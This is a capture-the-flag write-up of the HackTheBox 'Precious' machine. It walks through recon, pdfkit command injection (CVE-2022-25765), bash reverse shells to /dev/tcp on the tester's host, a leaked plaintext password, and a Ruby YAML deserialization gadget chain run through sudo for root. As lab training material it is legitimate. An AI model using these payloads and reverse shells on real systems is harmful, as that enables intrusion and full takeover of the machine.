# Hackthebox - Precious

![Precious](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-56bbf1863c457a8f4152a24ad904ced7fc8c2c55%2F2022-12-10-08-56-10.png?alt=media)

## Nmap

```bash
┌──(kali㉿kali)-[~]
└─$ sudo nmap -T4 -sC -O -sV -p- 10.10.11.189
[sudo] password for kali: 
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-10 08:58 EST
Nmap scan report for 10.10.11.189
Host is up (0.023s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 - 5.4 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.64 seconds
```

* Let's change our /etc/hosts file to add the host precious.htb

## HTTP

* We land here when going to <http://precious.htb/>

![landing page](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-2d243778fae924a1e7dc09a553af41aa1281b52e%2F2022-12-10-09-24-48.png?alt=media)

### Gobuster

```bash
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://precious.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://precious.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2022/12/10 09:25:29 Starting gobuster in directory enumeration mode
===============================================================
Progress: 220506 / 220561 (99.98%)===============================================================
2022/12/10 09:35:52 Finished
===============================================================
```

> Nothing here

### Burp repeater

Playing around with burp we find that we are not able to generate a pdf with an url but if we try special chars we can generate a pdf.\
See this one for example\
![generate pdf](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-c38cb72a69126f53d6b51eb605283196011152b5%2F2022-12-10-10-25-56.png?alt=media)\
So it is blank at the moment but still it is a start.\
We can see that it uses wkhtmltopdf version 0.12.6\
We can google it to see if it has known exploits\
We find this cve: [CVE-2022-35583](https://nvd.nist.gov/vuln/detail/CVE-2022-35583) see also [here](https://github.com/advisories/GHSA-v2fj-q75c-65mr) and this [blog](https://cyber-guy.gitbook.io/cyber-guys-blog/blogs/initial-access-via-pdf-file-silently) seems worth reading.\
We have an ssrf vulnerability. If we set up a simple http server with python we are able to see the requests coming. Here is burp with our ip to request\
![burp](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-6a168c86ffb5c9b274bd7db094f7f86e95a0b489%2F2022-12-10-11-20-50.png?alt=media)\
Here is the traffic in our http server\
![http serv](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-f54456c30ce93e7abb544eb1dced2fdb12074dd2%2F2022-12-10-11-21-42.png?alt=media)\
Let's try to go further now that we can see that we have a possible interaction. Ideally we would like to be able to execute code in the server to gain access.\
While looking around I stumbled on [this article](https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/) that is really good.\
For the last part of the article we need a webserver that can handle php. We can use php because it has a built in webserver.\
This should do the trick `php -S 127.0.0.1:80 -t .`\
Let's try the snippet from the article

```php
<?php 
$loc = "http://127.0.0.1/";

if(isset($_GET['a'])){
    $loc = $_GET['a'];
}
header('Location: '.$loc);
?>
```

Now we just need to put this in our html file

```html
<iframe src="https://10.10.14.2/test.php?a=file:///etc/passwd">
```

So to recap we have burp repeater that will query our server to fetch the html file. The html will then query our php that will query the etc/passwd from our target.\
Let's try this.\
I am having troube with the builtin php server, so I am just going to use Apache2.

* `sudo systemctl enable apache2` to enable it
* `sudo systemctl start apache2` to start it
* If we go to `http://localhost` we should see the Apache default page like this\
  ![apache](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-5d32e287cf3e11804fa5bc88d82926582da014d9%2F2022-12-10-14-55-53.png?alt=media)

Now we just need to move or copy our php and html files to `/var/www/html`\
We are almost there, except that the iframe does not show the file we want it prints the php instead.\
![prints php in pdf](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-45fe3bc7fa94a5918936084febb1effc167bda72%2F2022-12-10-15-36-54.png?alt=media)\
It is probably because the remote server does not handle php.\
We did see that it uses ruby.\
Let's see if we have something similar in ruby.

```ruby
loc = "http://127.0.0.1/"

if (request.params.has_key?('a'))
  loc = request.params['a']
end

response.headers['Location'] = loc

```

```ruby

response.headers['Location'] = "file:///etc/passwd"

```

* Another interesting [article](https://www.sidechannel.blog/en/html-to-pdf-converters-can-i-hack-them/) about vulnerabilities in pdf converters

> **SPOILER ALERT: None of this worked. But I left it here because the articles were interesting and it is an overview of the process when working on CTF. You go through a lot of rabbit holes.**

* Turns out that I saw after it is also using pdfkit. Let's have a look at exploit related to pdfkit v0.8.6
* We find a CVE for this version of pdfkit `CVE-2022-25765`
* [This poc](https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795) is interesting
* Let's try `http://10.10.14.4/?name=#{'%20`sleep 5`'}`
* This seems to work\
  ![burp](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-b05a3a30639d89b8388f8eb081f14c600eb5770b%2F2022-12-17-18-06-06.png?alt=media)
* There seem to be a delay for the server to respond.
* Let's try to get a shell using this method
* We set a listener `rlwrap nc -lvp 4444`
* I tried the following commands from my repeater `/bin/bash -i >& /dev/tcp/10.10.14.4/4444 0>&1` and `bash -i >& /dev/tcp/10.10.14.4/4444 0>&1` but was not successful
* We need a symbol safe shell, we can find one [here](https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux#symbol-safe-shell)\
  `bash -c 'bash -i >& /dev/tcp/10.10.14.4/4444 0>&1'`\
  ![burp request](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-bdd830806b97db4886bf97da245ebd78edc2cfc4%2F2022-12-17-18-36-55.png?alt=media)
* It works and we get a shell\
  ![shell](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-1d30eab5b0e3424515d816bc0cc7e64ed7d7eded%2F2022-12-17-18-33-35.png?alt=media)
* We need to move to the user because we got ruby. if we ls on /home we also have user henry. This is the one we should move to.

## Lateral movement

* Here are interestin files to look at that we found with linpeas

```bash
/usr/share/openssh/sshd_config
drwxr-xr-x 2 root root 4096 Oct 26 08:28 /etc/nginx/sites-enabled
lrwxrwxrwx 1 root root 38 Sep 26 05:00 /etc/nginx/sites-enabled/pdfapp.conf -> /etc/nginx/sites-available/pdfapp.conf
/etc/nginx/nginx.conf
/usr/bin/gettext.sh 
/home/ruby/.bundle
/home/ruby/.bundle/config
/home/ruby/.bash_history
/tmp/passenger.HkV4WCc/full_admin_password.txt
/tmp/passenger.HkV4WCc/read_only_admin_password.txt
/etc/pam.d/common-password
etc/pam.d/passwd
```

* Indeed the file .bundle/config contains a password for Henry

```bash
ruby@precious:~$ cat .bundle/config
cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
```

* We can then `su henry` and access the user via the password we found.
* we can grab the user flag

## Privilege escalation

* Let's ssh as henry `ssh henry@10.10.11.189`
* We run linpeas again with our new user. Here are things worth investigating

```bash
╔══════════╣ Binary processes permissions (non 'root root' and not belonging to current user)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes                                                                                                                                                                 
lrwxrwxrwx 1 root  root        4 Sep 26 04:32 /bin/sh -> dash   

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                                                                                                             
Matching Defaults entries for henry on precious:                                                                                                                                                                                             
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
```

* The `sudo -l` seems interesting ![sudo -l](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-f8801a5ea01283a29ed471ae79c583a392152a53%2F2022-12-18-13-10-27.png?alt=media)

Here is the content of the update\_dependencies.rb file

```ruby
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end
```

* If we launch the command we get this error ![yaml not found](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-a0cd27184c6c0c55fae85c5c35c7e0fc8c96ba17%2F2022-12-18-14-38-04.png?alt=media)
* This means that it is looking for the dependencies. We could create a malicious yml file and put it in Henri's home. The path is not defined in the script so it will look in Henri's home.\
  Let's hope that it works...
* We can try this script that I found [here](https://stackoverflow.com/questions/33887194/how-to-set-multiple-commands-in-one-yaml-file-with-kubernetes)

```yml
apiVersion: v1
kind: Pod
metadata:
  name: hello-world
spec:  # specification of the pod’s contents
  restartPolicy: Never
  containers:
  - name: hello
    image: "ubuntu:14.04"
    command: ["/bin/bash"]
    args: ["bash -i >& /dev/tcp/10.10.14.4/4444 0>&1"]
```

* The script above does not work and we get no errors.
* The one that did it is the one I found in [this blog post](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)

```yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "bash -c 'bash -i >& /dev/tcp/10.10.14.4/4444 0>&1'"
         method_id: :resolve
```

* So to recap:
  * I used the code above and put it in file named dependencies.yml in Henri's home folder.
  * I set a listener on port 4444
  * Then when I launched `sudo /usr/bin/ruby /opt/update_dependencies.rb` I got a root shell

![root shell](https://1679624655-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FEkk28J0B2BeDMuesRMr1%2Fuploads%2Fgit-blob-a677443473e18cc6ce03444dfca988ae261bbf26%2F2022-12-18-14-51-20.png?alt=media)

* We can grab the root flag.
